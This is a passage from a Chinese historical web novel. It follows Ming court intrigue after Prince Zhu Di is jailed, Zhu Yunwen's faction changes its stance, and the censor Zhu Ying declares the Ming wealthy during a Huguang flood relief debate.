缓过神来之后大吃一惊。 有些愕然地扫了一眼朱煐。 这小子刚入朝这几日,就深得了父皇的信任? 这家伙怎么做到的? 朱棣很了解自己的这个老父亲,作为老朱的儿子,朱棣深知自己的这个老爹的疑心病到底有多重,他是不会轻易相信一个人的,更不会轻易给臣子出头,为人君者,一言一行都影响巨大,老朱可不会轻易给一个刚入朝的御史出头说话,更别说为了他来警告自己了。 除非....此人深受信赖! 朱棣眼睛眯了眯,盯着朱煐连看,心中疑惑更甚.... 他想不明白,究竟是什么原因让自己的老爹如此看好这家伙.... “难不成,父皇是想给未来储君留个直臣?” 朱棣能屈能伸,左右现在面子和里子都丢了,也就不去想这些糟心事了,他转而将注意力借由老朱的态度分析今天所发生的一切.... 由目前情况看来,传闻非虚,这姓朱的还真是深受隆恩了。 朱棣虽然想过今天会受到老朱的惩处,可他只是想着被责备两句或者私下动家法打上几板子,可他万万没有想到,在跪地认错的情况下,老头子居然还要把自己打入大牢! 而出现这一系列的变化,显然和这朱御史有着千丝万缕的关系.... 朱棣又看了看站在老朱身后一脸幸灾乐祸的老二朱樉,此刻的朱樉看到朱棣的下场心里正暗爽着呢,这往日,自己在老头子心中的地位以及老头子对自己的态度都是在兄弟几个里最低,最差的,自己是最不争气,最不受待见的一个,而今天,却轮到了这朱老四栽跟头了..... 在朱樉看来,这一切,得感谢三个人,首先第一个人便是父亲老朱,得感谢老头子对自己的信赖,万万没想到老头子明面上对自己苛责,可背地里却将自己视作大明的未来,大明的未来贤王! 这第二要感谢的人就是朱煐,朱御史。 若非朱御史起头,自己也找不到这么好的机会去教训这碍眼的朱老四,要不是当日朱御史的指点,自己还处于迷茫之中.... 再最后要感谢的便是自己了。 “啧啧啧,朱樉啊朱樉,还得是你啊!居然能看出父皇的用心良苦,也能看出朱御史这位父皇代言人的身份,本王真是太机智了!” 朱樉心中暗暗为自己的机智竖起了个大拇指..... 他甚至暗暗佩服几日前的自己。 居然能领悟到父皇的布局,并且果断前往这朱煐府中试探,这一试探,嘿,还真是不出所料! 想必也是父皇看本王机敏,才真正委以重托! 老四啊老四,这下可栽在本王手里了吧? 朱樉不是个心思深沉之辈,他的心思基本就都写在了脸上,喜怒都形于色。 朱棣一眼就看到了朱樉的窃喜以及他的‘暗爽’,看着朱樉的这表情,朱棣暗暗唾了一口! “呵忒!” “小人得志!” ....... 朱棣还是被打入了应天府大牢,而且是在众目睽睽之下,被蒋瓛戴上镣铐进去的,和他一同进去的还有他的一群心腹,全都在百姓的目光中被送进了应天府牢房。 而这消息传出之后,顿时就引起了整个应天府的轰动! 大明的百姓日常娱乐十分匮乏,这谈论八卦就成了百姓之间最盛行的娱乐活动之一,八卦吹嘘,当日在应天府府衙门口有幸见过那场面的百姓,立刻就将消息给传播了出去,而听过吹嘘的第一批知晓的百姓立刻就成了吹嘘者,继续和其他人吹嘘自己知道的,同时进行一系列的艺术加工..... 没多久的功夫,应天府就传遍了燕王朱棣入京纵马扰民,恰遇正义化身的朱御史出手,闹到应天府府衙,而这其中的杨顺虽然是和稀泥,可由于艺术加工的传闻中这和稀泥无法很好地表现故事性,于是杨顺在传闻中就成了个反派,力挺朱棣,反而要严惩报案者,正义化身朱御史,之后秦王朱樉正义出场,谁曾想燕王格外嚣张,局面僵持不下,没想到关键时刻,陛下忽然从人群中站了出来,并且给了公平正义的审判,最终大反派燕王戴上了镣铐,被打入了应天府府衙大牢,正义又又又又一次地战胜了邪恶! ...... 应天府内百姓沸腾,流言四起,老朱却也不去管,任凭百姓去说。 老朱想要管控舆论的话其实还是很简单的,让蒋瓛去引导或者管束就好了,要说锦衣卫对其他地方的掌控,或许有多有少参差不齐,可要说锦衣卫对这京城的掌控,那完全就毋庸置疑! 只要老朱想,一声令下这些传闻就会被压住,不需要多久就没有人讨论了,可偏偏老朱就不去管..... “陛下,如今城内谣言四起,您看是不是....?” 蒋瓛欲言又止。 这是作为一个属下的觉悟,作为一个手下,劝谏也是很讲究方式方法的,只可以蜻蜓点水轻轻点过,尤其是面对老朱这样的皇帝,伴君如伴虎,一旦说多了,可能就大事不妙了.... 蒋瓛做官的宗旨就是,能不说就不说,实在要说,就说一点,毕竟说多错多,少说少错。 “不必理会,也是该给老四长长记性了,要不然以他的性子,日后咱大孙要是坐了位置,他怕是会惹事,咱先把该铺好的路子都给咱大孙铺好。” “蒋瓛啊。” “陛下。” 听到呼唤蒋瓛赶忙低头,心跳加速,不由忐忑。 “咱和你说这些,你应该明白为什么。” “臣....微臣愚钝。” 蒋瓛心中有了个大胆的想法,可却又不敢开口.... 老朱摆了摆手:“你也不必有太多的顾虑,咱也和你说过很多次了,以咱的年纪,死那就是早晚的事,早死早解脱,咱也能早些去找咱妹子和标儿,只是咱放心不下咱的大孙啊,他还年轻,虽然天资聪颖,可这江山坐着哪有那般容易?” “咱得给他留个信得过的人,你跟着咱这么多年了,咱信得过你。” “陛下切莫说这些晦气话,您的身体还好着呢,臣就听陛下的,陛下让臣往东臣绝不往西,皇孙之事尚早,陛下多虑了。民间有句话,儿孙自有儿孙福,既然上天让陛下在这个时间重新找到皇孙,想必老天爷也已经安排好了。” “咱可不信这瞎了眼的老天爷,他要是真可怜咱,又在,又怎么会带走咱的标儿,咱的妹子....” “罢了罢....” 老朱摆了摆手,话刚说到一半,忽的敲门声响起.... “咚咚咚。” “皇爷爷,允炆求见。” 门外,响起朱允炆的声音.... “进来。” 朱允炆推门而入,他的手里拿着一个酒壶.... “皇爷爷,孙儿偶得桂花酿,味道甚佳,特来送给您品鉴。” 朱允炆拿着酒壶脸上满是笑意.... “哈哈哈,咱孙有心了,成,咱喝一杯,咱....” 老朱接过酒葫芦就准备倒一杯,可手在半空忽的停住.... “怎么了皇爷爷?”朱允炆疑惑地看向老朱.... “唉。” 老朱叹了口气放下了酒壶。 “咱答应过朱御史戒酒了,咱年纪大了,喝酒伤神,罢了罢了,刚答应这小子咱就食言的话不大好。” 老朱摆了摆手摇了摇头,随后将酒壶递给了蒋瓛。 “这酒闻着咱就知道是好酒,你把这酒送到朱爱卿府上,让他和允熥好好替咱尝尝。” “是陛下。” 蒋瓛领命,拿着酒壶就出了御书房..... 蒋瓛走后,房间里只剩下了老朱和此刻呆在原地怔住的朱允炆.... “你找咱有事吗?” “咱要办事了,这出宫一趟今天的奏章还没改完,你今日的课业写完了吗?回去写课业吧。” 朱允炆:“????” 不是,爷爷。 这对吗? 我是来给您送酒的啊,这酒怎么就没了? 朱允炆一时之间人傻了.... 自己送的桂花酿,当着自己的面就转送给了....朱煐和....朱允熥? 这对吗? 这对吗??? ...... 另一边。 第53章 激动的黄子澄! 朱棣入京之后的事很快就传遍了应天府。 百姓之间口口相传,朱煐倒是在民间获得了不小的好名声。 此刻的东宫,刚给老朱送酒回来的朱允炆一脸的郁闷。 “娘。” 看到吕氏,朱允炆有气无力地行了个礼。 吕氏自然是看出了自己儿子的不对劲,不由皱眉询问:“发生了何事?” “娘,皇爷爷他好像不喜欢我了。”朱允炆有些欲哭无泪,想想这几日以来发生的事情以及老朱眼下对自己的态度,朱允炆感受到了强烈的落差。 以前自己每次送东西,皇爷爷都会留自己吃,要么就是关心一下自己的课业,询问一下自己课业的进度,勉励两句。 这现在,上次去见皇爷爷,皇爷爷把鸡汤给了那姓朱的吃,这次送桂花酿,又送给了那姓朱的和朱允熥喝..... 朱允炆将今日去找老朱发生的事一五一十地对吕氏叙述了一遍,吕氏也皱起了眉头.... “娘,你说皇爷爷他是不是不喜欢我了?以前可从来没有这样过。” 吕氏没有立刻回话,沉思了许久..... 片刻后,吕氏眉头舒展,露出了笑容:“允炆啊,这成大事者,得有定力,你想多了。” “今时不同往日,以前你皇爷爷只是单纯地因为你的孝顺勉励你,而现在,你的身份不同了,你皇爷爷他估计是在考察你。” “考察我?” 朱允炆一愣,有些似懂非懂。 吕氏点了点头:“是啊,考察你。” “原本我还有些想不通你皇爷爷为什么会让朱允熥那小子出宫,如今看来,你皇爷爷这是在考察你的度量啊。” “考察我的度量?” 朱允炆更懵了.... 吕氏点头继续道:“不错。按照娘这么些年对你皇爷爷的了解,你皇爷爷是个重感情的人,尤其是骨肉亲情,你爹在世时候和为娘说过很多次这事,你皇爷爷特别叮嘱过你父亲,让你父亲日后登基后要照料好几个弟弟,万不可做出兄弟阋墙之事。这会儿娘想来,你皇爷爷现如今考察你的就是这一点。” “想当大明的储君可没有那般容易,你皇爷爷这是想看看你的品行。” “越是到这种时候,你就越是要稳住,你皇爷爷这前后的态度转变正说明了他看好你!” “娘先前觉得朱允熥他是你的竞争对手,毕竟有蓝玉那厮在他身后,可如今看来,或许你皇爷爷从始至终就没有想过让他当皇储,皇储一直都是你啊!这一个人的性子是最难改的,想改性子,哪有那般容易?” “退一步说,哪怕他是改了,可又如何证明呢?你皇爷爷多精明的人?会把这天下交给一个不确定的储君吗?” “再者,娘刚才也仔细梳理了一遍,你皇爷爷真要是有扶持朱允熥的心思,那为娘这些年在东宫做的这些事,以你皇爷爷的性子,怕是早就采取动作了。虽然娘做的手段隐蔽,可你皇爷爷真要查的话是瞒不过的。” “所以....” 吕氏眼中越发明亮,先前有些想不通的问题在这一刻好像都给想通了..... “所以娘的意思是皇爷爷让允熥出宫,实际上并不是为了和孩儿抢位置,反而是说明允熥已经失去了资格,皇爷爷此举是想让朱御史保住允熥?” “朱御史性情耿直,倒是个好的托付人选。因此如今皇爷爷他又试探孩儿,为的就是看孩儿对允熥他的态度如何?” “不错。” 吕氏露出了欣慰的笑容。 “允炆你也是长大了。” “娘,孩儿觉得你分析得对!” 朱允炆语气坚定,沉吟后道:“孩儿觉得要是皇爷爷真的想让允熥与孩儿竞争的话就不该让允熥去朱御史府中,而应该让他去凉国公府中,娘觉得可对?” 朱允炆此言一出,吕氏顿时一愣,旋即眼前一亮..... “你说得对啊!” “这一点倒是连娘也未曾考虑到!” 朱允炆听吕氏这话,顿时对自己的分析信心大增。 “娘,孩儿是觉得若是论远近亲疏,允熥定然是和凉国公更近,凉国公的身份对允熥夺位置的帮助也最大,可皇爷爷他并没有让允熥去凉国公府中,那是不是就说明了皇爷爷并没有立允熥为皇储的心思?” “不错。是这个道理。”吕氏眯着眼睛接过话头道:“另外陛下不让允熥去凉国公府,想必也是不希望他受到牵连,你应该还记得朱煐他先前在朝堂上所说的话吧?” “倘若你皇爷爷是要立你为皇储,那不除凉国公你皇爷爷是不会放心的。允熥他性子懦弱,或许是真不想当皇帝,可蓝玉呢?他胆大包天,又嚣张跋扈,你皇爷爷在时尚且有你皇爷爷压着无事,可一旦你皇爷爷出事,你执掌朝政,难保他不会出手!” “依娘对你皇爷爷的了解,既然他如今已经知道了这个风险那就不会坐视不管。不让朱允熥去凉国公府,想来也是不希望他日后卷入其中。” 朱允炆连连点头:“由此,更可进一步佐证了娘你的判断!” “看来先前是我们想岔了,若非你皇爷爷频繁试探让我们看出些许端倪,怕是还得被一直蒙在鼓里!” “皇爷爷他思虑深远,他的心思要是这么容易被看出来,那他就不是皇爷爷了,娘,我们这会儿看出来皇爷爷他的用意也不晚啊。”朱允炆有些兴奋。 原来自己一直以来都是储君的绝对人选? 亏自己之前还忐忑不安呢,原来对自己的考核和培养早就开始了! “是不晚,既然我们已经明白了你皇爷爷的用意,那就容易了,你切不可表露出任何对朱允熥这小子的敌意,得让你皇爷爷知晓你的心胸。” “娘,你这话说的,孩儿又不傻?更何况要是允熥他并不与孩儿争这皇储之位,孩儿对他哪来的敌意?毕竟也是从小一起玩到大的,也是孩儿的弟弟啊。”朱允炆说的倒是实话,朱允熥平日里在东宫受到的压力主要还是来自宫里下人的欺负和吕氏的放纵,朱允炆明面上倒是没有欺辱过。 吕氏是个谨慎的人,一切容易脏手的事情都不会交给朱允炆这个儿子。 “你知道就好。”吕氏点了点头,顿了顿又道:“也别表现的太过了,要不让你皇爷爷知道我们猜中了他的心思,那就不好了。只要按部就班,这皇储之位必是你的。” “如今不争便是争,这样,你皇爷爷不是让蒋瓛给朱御史和朱允熥送了一瓶桂花酿吗?娘这里还有一坛子存了许久的女儿红,你取了再给你皇爷爷送去。若是你皇爷爷问起你这桂花酿转送出去你有什么想法,你该知道怎么说吧?” “娘你放心,孩儿明白。” “嗯,那便好,你放心去吧。对了,你今天去你黄师傅府中一趟,将我们的分析同他说说,让他给分析分析,若是他觉得也无错,想必陛下的心思大抵便是如此了。” “他和方大人都是一心为你的人,一荣俱荣一损俱损,不会坑害我们的。再加之才学,若是我们想错了的话,他们想必能看出其中问题。要是你黄师傅和方大人都觉得没问题,那允炆,你可就得好好干了!你皇爷爷对你很看重,莫要辜负了你皇爷爷的期望啊。” 此刻的吕氏整个人都好像放松了,为了这一刻,她压抑了整整十年! 自从嫡长孙朱煐去世儿子朱允炆成了东宫太子的嫡长子之后吕氏就开始布局,步步扎营,步步小心,一直到了如今。 她也并不想真的针对朱允熥这个孩童,可没有办法,谁让他是自己儿子的竞争者呢? 为了儿子,吕氏愿意做一切!背上任何的骂名她也心甘情愿! 而如今,总算是大局定了大半,还摸清楚了陛下的心思,儿子成皇储,指日可待! “娘,那朱御史那边....?儿臣该如何?孩儿想着,既然日后孩儿是要成皇储的话,那朱御史可能就是皇爷爷要留给孩儿人......” “你想的不错。朱御史这性格,虽说是耿直了些,可在朝中确实是个不可多得的人才,日后你若是登基,或许他就是你的魏征,你要广开言路,多听劝谏,他是直臣,也是孤臣,你皇爷爷用他就是因为这个,或许也有将他留给你的想法。” “不过眼下不急,现在那个位置还是你皇爷爷的,不是你的,记住,绝对不能心急,更不能越俎代庖去过深结交,否则会引起你皇爷爷怀疑,若是让你皇爷爷知晓我们娘俩知晓了他的心思,那就不好了。” “晓得了娘,那孩儿便徐徐图之。” 朱允炆压抑着心中的喜悦,连连点头..... ..... 转身朱允炆便离开了东宫,他马不停蹄地去了黄子澄的府中。 又火急火燎地让黄子澄把齐泰唤来。 黄子澄虽然心中疑惑,可问朱允炆朱允炆又不说,无奈只好将齐泰一同唤来。 “殿下,您这风风火火的,可是宫中出了什么变故?” 齐泰一到,黄子澄就再也忍不住开口了。 “回禀老师,宫中倒是确实发生了些事。今日允炆给皇爷爷送酒,皇爷爷当着我的面让蒋指挥使把酒水转送给了朱御史和我弟弟允熥。” 黄子澄和齐泰闻言皱眉:“陛下便这般宠爱允熥殿下?可以往允熥殿下并不讨喜,怎么陛下对允熥殿下的态度转变这般大?这其中怕是透着蹊跷啊......” “是啊老师,我和娘也是这般想的,不过娘想到了一种可能。” “哦?太子妃想到了什么?” 黄子澄与齐泰尽皆好奇地看向朱允炆。 朱允炆凑到两人身边,俯身低声道:“我娘也觉得这事情透着古怪,所以思索之后觉得,或许这是皇爷爷对我的试探!试探我对允熥的态度。” “皇爷爷一直对允熥不假以词色,这短短几天如何能有什么天翻地覆的变化?那唯一的可能性就是皇爷爷他是故意的!故意在我面前这般做,而目的就是为了考量我的度量,皇爷爷重感情,他定然不希望我日后成了皇储又对兄弟下手。” “再者,若是皇爷爷真想扶允熥与我争斗,允熥该入住的当是凉国公府才是,又怎么会是朱御史府中?” “朱御史相较于其他人无非有三个好处,一个是朱御史性情耿直,对父皇交托的事情一定会一丝不苟,哪怕是丢了性命。第二就是朝堂上没有根基。第三便是他的年岁尚轻。” “......” 朱允炆将自己与娘亲吕氏在东宫的猜测和盘托出,给黄子澄、齐泰一起给讲了一遍..... 原本黄子澄和齐泰的眉头是锁着的,可随着朱允炆的分析,眼前却是越来越亮。 心中安安盘算了一阵,越是盘算,越是觉得朱允炆所说的这种可能性不是一般的大! 极有可能啊! 到后面,两人已经面色潮红,亢奋了! 因为真要是按照这个方向分析的话,虽然老朱尚未开口,可实际上而言,朱允炆已经基本坐稳了皇储之位,因为他根本没有任何的竞争对手! 原来以为陛下是想扶持朱允熥打打擂台,可如今看来,陛下或许根本就没有这种想法! 太子妃说的对啊!这要是要扶持朱允熥和殿下打擂台,该让他住进蓝玉那厮府中才对,这怎么会让他住在朱御史家中呢? 这不合理! 所以..... 陛下并非是想扶持允熥殿下和允炆殿下打擂台,而是单纯地想用允熥殿下来考察,磨炼允炆殿下! 朱允炆眉飞色舞的说完后,房间里一片寂静..... 朱允炆看向黄子澄和齐泰:“老师,齐大人,你们怎么看?” 少顷,黄子澄和齐泰默默地对视一眼,同时笑了。 “恭贺殿下!太子妃高见,我等叹服!” “是啊殿下,先前我等竟是丝毫未曾察觉陛下之意,反倒是让殿下与太子妃察觉了,我等惭愧。” 黄子澄和齐泰低下了头,同时心中却又无比兴奋。 从龙之功! 从龙之功啊! 这从龙之功,近在眼前了! 原本还以为这皇权斗争怕是你死我活,得把脑袋拴在裤腰带上搏命才行,结果.....就这? 陛下心中原来早有定计! 允炆殿下,早已是唯一人选! 第54章 泱泱大明,何以不富? 转眼数日。 自从朱允炆自觉猜出了老朱的心思之后,在朝堂上也不再对朱允熥咄咄相逼了,反倒是做出一副贤兄的模样,他也不再针对淮西一脉,面对朝中皇储之争也是云淡风轻一笑而过。 这古怪的举动反倒是让一众勋贵有些摸不着头脑。 蓝玉经过一段时间的罢朝之后被老朱强行传召上朝。 他托病请辞的奏表也被老朱给驳回了,无奈的蓝玉只好上朝。 他本想辞官隐退,以此保全,奈何老朱不许,选择上朝也就意味着日后生死都在老朱的一念之间。 而让蓝玉有些错愕的是,短短几天的功夫,这朝堂上的局面好像又再一次发生了天翻地覆的变化。 原本一直针对自己的黄子澄、齐泰等一众文官集团,还有对自己敌视的皇孙朱允炆,当自己罢朝回来之后,他们居然都在退朝之后主动上来攀谈。 这俗话说得好,伸手不打笑脸人,这一个个笑容满面地凑上来,蓝玉也不好发作,只能维持表面上的客气和和气。 可他的心中却是万分不解。 这些个文官,这葫芦里卖的都是什么药? 这些家伙一个比一个脑子转得快,这事出反常必有妖啊!这些家伙在打什么主意? 蓝玉仔细观察了一阵,可却硬是没有看出来什么,其他的文官是跟着以黄子澄齐泰以及朱允炆为首的几人做出的附和,可这几个做出决定的人,究竟为什么会做出靠近自己这些‘敌人’,对自己这些个‘敌人’放出善意,这让蓝玉有些不理解,看不出端倪。 “难不成这短短几日之间发生什么老子不知道的事儿?” 蓝玉心里犯着嘀咕,他去找人了解,听了这几日自己两耳不闻窗外事后朝中所发生之事,可听了半天也没有听到什么。 这些日子以来要算说是大的事无非就是两件。 第一件事便发生在朝堂上,黄子澄几人借着方孝孺对朱煐出手,结果被方孝孺反戈一击,齐泰、黄子澄两人险些遭罚。 第二件事就是燕王入京,当街纵马结果被朱煐、张平和方孝孺撞了个正着,被三人直接送进了应天府府衙大牢。 两件事情显然是第二件事造成的影响更大,可这事儿....和朱允炆一棒子集团的人也没有什么关系啊。 难不成是黄子澄几人借刀杀人不成,所以干脆投降了?不准备扶朱允炆了? 这就更离谱了..... 这利益关系太大,蓝玉都不用想就知道,这不可能。 既然没有发生任何事,可这几个原本是敌对的文官集团的主心骨态度却有了这一百八十度变化,那么这其中必然是有自己所不知道的缘故! 得小心防备! 在没有摸清楚几人的目的之前,蓝玉选择了以静制动,默默观察.... ...... 而这几天的朱允熥却因为朱允炆以及文官集团态度上的变化受到的压力小了不少,而同时在朱煐府中常住,和朱煐在一起的时候,朱允熥发现自己竟是有种出奇的安心.... 就好像自己有了一座靠山一般。 两人好像有着莫名的缘分,朱允熥在东宫长大,受人欺凌,他不相信任何人,可偏偏面对朱煐的时候,他感受到了心安.... 朱允熥的压力小了,朱允炆文官集团不再针对淮西一脉,而蓝玉等淮西一脉又摸不清楚文官集团有什么打算,于是选择以静制动。 朱棣被下了大狱,从小喜欢惹事的朱樉眼下一心想当贤王,朝堂上非大事便一言不发,毕竟在他看来,要是事事发表意见的话,会掉自己的格调.... 一时间,这朝堂上竟是出奇地达成了一种不言的默契,出现了这几日以来前所未有的和谐。 这把坐在龙椅上的老朱都给看愣了.... 不光老朱懵了,朱煐也有些懵。 这淮西一脉和文官集团忽然就不斗了? 而且好像原本一直仇视自己的文官集团.....对自己释放了善意? 是的,如果没有感知错的话,对方确实是在向自己连续释放善意,昨日齐泰还邀请自己去他府中吃酒,席间以都是科举入朝为引,言说自己与朝中文官们大家才是一家人。 这让朱煐豁然一惊。 这他娘的可真不是什么好事儿啊! 这几天他在朝堂上仔细一感受,这泱泱大明,浩浩洪武朝,居然无一人针对自己! 以往每天朝会,文官集团都会暗戳戳地冒出个人嘲讽自己,攻讦自己,可现在,已经连续数日,一个人冒出来攻讦自己的都没有! 这可就坏菜了! 这你好我好大家好的朝堂环境,混日子当咸鱼倒是不错。可....可我特么的是要完成任务的啊! 想到自己的任务,朱煐人麻了...... 这老朱不同明史中记载,是个好好先生也就罢了,这怎么一向仇视自己的文官集团也开始当好好先生了? 这大家都变成好好先生,我任务咋完成? 以老朱这迥然不同于明史的脾气而言,想死在老朱手上本来就不容易,本来还想着有黄子澄等朝堂政敌助攻一二,可现在,全特么的不助攻了? 这不助攻也就罢了,看样子还想拉拢自己,和自己处成朋友? 这不废废了? 而更让朱煐惊恐的还是另一点,要知道这黄子澄齐泰等一众文官集团所代表的,可不仅仅是老朱一朝,他们代表的更是未来的朱允炆一朝重臣! 这要是成了你好我好大家好的三好先生,自己不光在老朱手上完不成任务,这在朱允炆手上怕是也难啊! 更何况....既然这些人会做出这样的举措,也就从某种意义上代表了朱允炆对自己的态度。 可..... 朱煐皱眉,苦思良久,怎么也想不明白,明明自己一直在针对朱允炆这家伙,先前效果也很不错,可以说是满朝皆敌,让人安心,可这短短一夜之间,怎么朱允炆这小子就改了想法,甚至其麾下的文官们也都改了态度? 这其中发生了什么大事吗? 不对啊,这也没有发生什么事啊....无非就是把朱棣给送进了大牢? 难不成是此事? 难道是兔死狐悲,朱允炆看到朱棣的下场,担心自己也沦落到这个下场? 朱煐想了想,这个理由也太过牵强,却也不像.... 可除了这件事情之外,也并未发生其他事啊? ....... 朱煐想不明白,可有一点他却知道。 如果按照眼下的情况发展下去,自己的处境好像不太妙啊.... ..... 好在很快,朱棣出狱了。 别关在应天府府衙大牢多日的朱老四出狱之后就恨上了朱煐。 朝堂上,朱煐时长感受到来自这位燕王的注视。 那带着寒意的目光,倒是让原本因为朱允炆以及一众文官集团态度变化而感觉到有些没有安全感的朱煐,再次有了安全感。 原本今天朱棣刚出狱,他该是朝会上的主角,可一桩突发的急报却直接震动了朝野! 湖广承宣布政使传来急报,湖广大雨连下,已发水患致使数十万百姓遭了灾! 湖广当地府衙筹措不到足够的赈灾粮款,上报朝廷,希望朝廷播下粮款。 此消息一出,朝野震动! 原本朱棣出狱的这桩大事也瞬间因为湖广灾情而显得微不足道。 朝堂上百官听了消息之后眉头紧锁,老朱也是满面愁容。 大明国库不算空虚,可国库里的钱粮都各有用处,每年各地都有灾情,这里就要拨出去不少钱粮,部队供养也是一比不小的开支,这些年老朱为了让大明养精蓄锐充盈国力税收并不高,一直以来都是精打细算,每年都是勉强维持基础开销。 湖广的水患是常有的事,可这一次波及数十万人的灾情却显然超出了百官的预料。 这会儿什么朝争党争全都靠边站,老朱的脸色阴沉,看着面前陷入一片寂静的朝堂以及一言不发的百官良久,沉声喝问。 “都听到了吧?” “湖广此次大灾,诸位可有什么对策?” 老朱话说完,全场寂静无声..... 百官面面相觑,欲言又止..... “这....” 一个个都说不出话来.... “父皇,臣有话说!” 朱樉在此刻忽的站了出来。 瞬间全场的目光全都落到了朱樉的身上,眼神中充满了惊讶。 “不知秦王有何妙计?” 刘三吾也是好奇地看向朱樉。 朱樉拱了拱手,然后面向老朱:“启禀父皇,儿臣以为,这既然湖广遭灾,那就必须赈灾,否则有失民心,让户部拨款赈灾即可。” 朱樉此言一出,顿时全场失声,百官哑然。 “不是,我说二哥,你说的轻巧,你可知这数十万人的灾情需要多少银两?这国库若是钱粮充沛,这等废话还需你说?” 朱棣突然开口朗声道。 朱樉顿时尴尬愣在了原地.... 他对这些银钱向来不敏感,封地上的一应事宜也都是手下帮着处理的,朱棣这一句话顿时把他给噎住了。 他只知道出了灾情要用银钱去赈灾,可这银钱从哪里去弄,被朱棣这么一问顿时麻爪了.... 看到朱樉的窘境,老朱也是不由扶额。 这老二..... 改变倒是改变了许多,至少有心了,可这心有余可这力却是远远不足啊..... “行了老二,你退下吧,这钱粮朝中确实发紧,不是那般好弄的。” “咱大明开国时间尚短,着实有些不富裕。” 老朱叹了口气.... 百官也是沉默.... 恢复国力需要时间,尤其是古代这以小农经济为主的体制下,想要休养生息就必然国库不充沛.... 就在群臣寂然时...一道声音忽然响起.... “陛下此言差矣,我泱泱大明,何以不富?” 第55章 朱煐,我丢你个老母! 熟悉的声音..... 这是在场所有人都无比熟悉的声音..... 大家的目光此刻全都不由自主地顺着声音的源头处看去.... 朱煐挺身而出,从自己站的位置出列,走到了百官前,面对周围官员注视的目光心如止水,面色平静,波澜不惊,因为他早已习惯。 老朱看到是朱煐出列,不由微微蹙眉。 大明不富裕,这是众所周知的事情,是百官公认的事,这也可以理解,毕竟大明之前的大元,经历了数十年的穷兵黩武。 元朝开拓了历朝历代以来最大的疆土,而四处征伐最是消耗钱财,大宋留下的家底基本上都被元朝给消耗光了,甚至民间的财富也都被消耗了大半,别的不说,光是老朱不就是全家基本都饿死的吗? 元朝末年,民不聊生,甚至在民间接连发生易子而食的惨剧。 小农经济抵御风险的能力本来就差,再加上元朝的穷兵黩武,元朝末年可以说是整个中原大地,经济彻底崩坏! 老朱开辟了大明,虽然已经经营了二十余年,可朝廷国库一直都是紧巴巴的,刚开国的前十年不用说,各地都还不太平,北边的元朝余孽,南边的土司,海上的倭寇,还有一些各地散碎的土匪恶势力,大明前十年基本每年都要从国库里抽调大量的钱粮用于征讨各地,蓄养精锐。 而之后,老朱刻意压住了战争的节奏,虽然大明兵锋强盛,可他并未选择穷兵黩武,相反在将各方的乱像给平定之后,老朱选择了让大明休养生息,北边只是让朱棣镇守,并未趁机进攻草原。 海上倭寇袭扰,老朱更是采取了海禁政策,暂时应对,这个政策从长远来看或许有问题,可在当前在老朱看来,却是最简单也最有效的处理办法。 倭寇数量少,灵活,仗着茫茫海域不断骚扰,想要围剿那就要耗费大量的钱粮,可就算打赢了,这些个倭寇穷的叮当响,把他们都抓了都不够抵军费的。海禁一开,基本就暂时轻松解决了这个问题。 云南的土司之乱老朱也只是派沐英镇压,让沐家在云南扎根,并不强平,而是选择逐步归化,减少阻力。 老朱他是个暴脾气,真要是实力充沛,钱粮充足,又怎么会选择这么些个怀柔的政策? 不是老朱好说话,而是大明伤不起! 天下百姓好不容易有了个太平盛世,好不容易有了短暂的休养生息的时间,老朱明白,要让大明喘口气,要让百姓喘口气。 大明百姓不富裕,大明朝廷也不富裕。 这是共识。 可朱煐现在忽然开口说,大明富裕? 何其荒谬? 这大明富裕不富裕,咱这个当皇帝的能不知道? “咱孙还是年轻了些,还是需要历练啊。” 老朱看着朱煐心中暗想。 他倒是并未因为朱煐的这话而在心里对其有什么意见,反倒是有种松了口气的感觉。 自从找回自己的这个大孙之后,老朱发现自己的这大孙怎么看怎么出众,政治嗅觉敏锐,性情刚正,处事果断干练却又不乏机敏,天赋才情更不用说。 这让老朱很没有成就感。 毕竟自己当了这几十年的皇帝,这要是连一个臭小子都教不了,那岂不是说这几十年的皇帝白当了? 人无完人,看到了朱煐见识上的短板,老朱心中竟是还有那么一些些的欣喜。 毕竟是年轻,见识短浅也属正常,这就得咱给好好教教了。 老朱微微一笑,倒也不恼,看向朱煐:“朱御史,你的意思是咱大明富裕?” “户部尚书何在?” “臣在。” 户部尚书站了出来。 “陈大人,你给朱御史说说咱户部的进项和出项。” “是陛下。” “朱御史,这国库进出由我户部总管,今岁进项粮食总计.....” 大明的税收并非是上缴白银,因为大明的白银流通量有限,所以朝廷收税基本都是收实物为主,有的地方收粮食,有的地方收布匹,去岁大明的税收还算可以,总计有一千九百七十万余。 而今年总计支出一千一百余万两,看似好像还有八百多万两的盈余,可问题是,今年刚刚过半啊! 今年各地灾患频频,支出的银子已经超额,后半年都得勒紧裤腰带过紧日子了,钱粮根本不够,十分紧张,说不得要是真不够的话还得印洪武宝钞。 陈尚书将户部所管的国库账目大致给讲了出来,一时间,偌大的奉天殿鸦雀无声,百官一言不发,无论是淮西一脉还是文官集团亦或者是一些中立派全都是皱着眉头,感觉到了不小的压力。 大明不富,眼下湖广大灾却又不能不管,可管了之后,后半年朝廷怎么办?总不能把国库的余钱全都扔到湖广去救灾吧? 一旁原本提议说救灾的朱樉此刻也愣住了..... 听了户部的国库收支账目数字,朱樉方才明白这朝廷艰难。这两千万两看起来好像不少,可根本不够花啊! 民间有言,家之大操持不易,家尚且如此,更何况一个偌大的疆域如此辽阔的国家? 朱樉心中不由一凛,以往的时候他从来没有考虑过这些,因为这与他无关,可现在他忽然感觉,肩头的担子重了不少,因为眼下的他早已不是曾经的他,他是未来要当大明贤王的男人! 身为贤王那自然是要为国着想,为朝廷着想,这朝廷财政都不了解,何谈贤王? 朱樉忽然觉着,自己要做的事情好像还有很多,想成贤王,眼下的自己还远远不足..... 想着,朱樉不由自主地看向老朱,心中并未因为压力而感觉有任何的沮丧,相反,他斗志昂扬甚至有些兴奋。 “父皇,这就是你对我的期待吗?” 从小到大朱樉就没有感受到过来自老朱的重视,他少年时就发现无论自己做什么,大哥永远比自己做得好,老爹的目光也从来没有落在自己的身上过,于是他开始叛逆,他开始用一些激烈的举动渴望获得父母的关注。 他在这一条路上越走越远,这一走就是数十年。 而今朱樉猛地发现,一直以来看似并不在乎自己的父皇,居然对自己给予如此厚望! 此刻的朱樉,心绪难以用言语形容,十分复杂,并非用简单的悲喜可以言说.... ...... “朱御史,都听到了吧?朝中眼下的国库钱粮并不足以应对此次大灾,以眼下的国库钱粮,你说我大明很富?” 朱棣笑呵呵地走到朱煐面前,说话的声音不大,可这架势,全然是一副看好戏的姿态,他等着朱煐开口出糗。 